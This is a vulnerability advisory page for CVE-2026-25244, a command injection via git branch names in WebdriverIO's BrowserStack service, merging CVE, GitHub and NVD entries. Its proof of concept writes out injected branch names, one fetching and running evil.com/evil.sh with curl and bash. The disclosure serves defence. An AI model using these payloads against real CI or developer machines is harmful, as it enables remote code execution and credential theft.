CVE-2026-25244
JSON

9.8critical

WebdriverIO has Command Injection in the BrowserStack Service

Severity
9.8critical CVSS:3.1 by GitHub_M
Exploit likelihood
3.31% (higher than 88% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-5c46-x3qw-q7j7

Description

WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.

Affected

Product or packageVersionsReported by
webdriverio webdriverio< 9.24.0CVE List
dotnet8.0Not specifiedCVE List
@wdio/browserstack-service (npm)before 9.24.0GitHub Advisory Database
openjsf webdriveriobefore 9.24.0NVD

All scores

GitHub_M9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
redhat-SADP8.0high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
GitHub9.8critical CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-78

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact total.

What each source says

CVE List

WebdriverIO is a test automation framework for unit, e2e and component testing using WebDriver, WebDriver BiDi and Appium. Versions below 9.24.0 contain a command injection vulnerability leading to remote code execution (RCE) in test orchestration. Git permits branch names containing shell metacharacters, and getGitMetadataForAISelection() interpolates these names directly into execSync() calls without sanitization. An attacker can exploit this by supplying a malicious repository (via testOrchestrationOptions.runSmartSelection.source, or the current directory if unset) whose branch name carries a payload, causing the shell to execute arbitrary code. This enables remote code execution on CI/CD servers and developer machines, leading to credential and secret disclosure, source code and SSH key exfiltration, system compromise, and supply chain attacks via tampered build artifacts. The issue has been fixed in version 9.24.0.

GitHub Advisory Database
Summary

A command injection vulnerability exists in @wdio/browserstack-service that allows remote code execution (RCE) when processing git branch names in test orchestration. An attacker can exploit this by providing a malicious git repository with a branch name containing shell command injection payloads.

Details

Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer.

Vulnerable Code

File: https://github.com/webdriverio/webdriverio/blob/ea0e3e00288abced4c739ff9e46c46977b7cdbd2/packages/wdio-browserstack-service/src/testorchestration/helpers.ts#L204

Root Cause

User-controlled git branch names are directly interpolated into execSync() calls without sanitization. Git allows branch names to contain special characters ,that can be used for command injection. Git allows to create these branches.

git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;rm\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
git checkout -b "main;curl\${IFS}evil.com/evil.sh\${IFS}>/tmp/evil.sh;bash\${IFS}/tmp/evil.sh;echo\${IFS}PWNED"
Attack Vector
  1. Attacker creates a malicious git repository with a branch name containing command injection payload
  2. Attacker configures WebdriverIO to use this repository via testOrchestrationOptions.runSmartSelection.source. if source is not provided it takes current directory as source.
  3. When getGitMetadataForAISelection() executes, it extracts the malicious branch name
  4. Branch name is interpolated into shell commands without sanitization
  5. Shell interprets special characters and executes attacker's commands
PoC
Step 1: Create Malicious Repository Branch
git checkout -b "main;touch\${IFS}/tmp/pwned.txt;echo\${IFS}PWNED"
Step 2: Configure WebdriverIO
// wdio.conf.js
export const config = {
    services: [
        ['browserstack', {
            user: process.env.BROWSERSTACK_USERNAME,
            key: process.env.BROWSERSTACK_ACCESS_KEY,
            testOrchestrationOptions: {
                runSmartSelection: {
                    enabled: true,
                    source: ['/tmp/malicious-repo']  // ⚠️ Points to malicious repo, without "source" field, it runs in the current directory.
                }
            }
        }]
    ],
    // ... rest of config
}
Step 3: Run Tests
npm run wdio
Step 4: Verify RCE
# Check if file was created (proof of RCE)
ls -la /tmp/pwned.txt
Impact
  • Remote Code Execution on CI/CD servers or developer machines
  • Information Disclosure (environment variables, secrets, credentials)
  • Data Exfiltration (source code, SSH keys, configuration files)
  • System Compromise (backdoor installation, lateral movement)
  • Supply Chain Attack (modify build artifacts)
NVD (es)

WebdriverIO es un framework de automatización de pruebas para pruebas unitarias, e2e y de componentes utilizando WebDriver, WebDriver BiDi y Appium. Las versiones anteriores a la 9.24.0 contienen una vulnerabilidad de inyección de comandos que conduce a la ejecución remota de código (RCE) en la orquestación de pruebas. Git permite nombres de rama que contienen metacaracteres de shell, y getGitMetadataForAISelection() interpola estos nombres directamente en las llamadas a execSync() sin sanitización. Un atacante puede explotar esto suministrando un repositorio malicioso (a través de testOrchestrationOptions.runSmartSelection.source, o el directorio actual si no está configurado) cuyo nombre de rama contenga una carga útil, lo que provoca que el shell ejecute código arbitrario. Esto permite la ejecución remota de código en servidores CI/CD y máquinas de desarrolladores, lo que lleva a la divulgación de credenciales y secretos, la exfiltración de código fuente y claves SSH, el compromiso del sistema y ataques a la cadena de suministro a través de artefactos de compilación manipulados. El problema ha sido solucionado en la versión 9.24.0.

References

Sources

SourceRecordLicence
CVE ListCVE-2026-25244 changed 2026-07-23CVE Terms of Use
GitHub Advisory DatabaseGHSA-5c46-x3qw-q7j7 changed 2026-09-10CC-BY-4.0
NVDCVE-2026-25244 changed 2026-07-24Public domain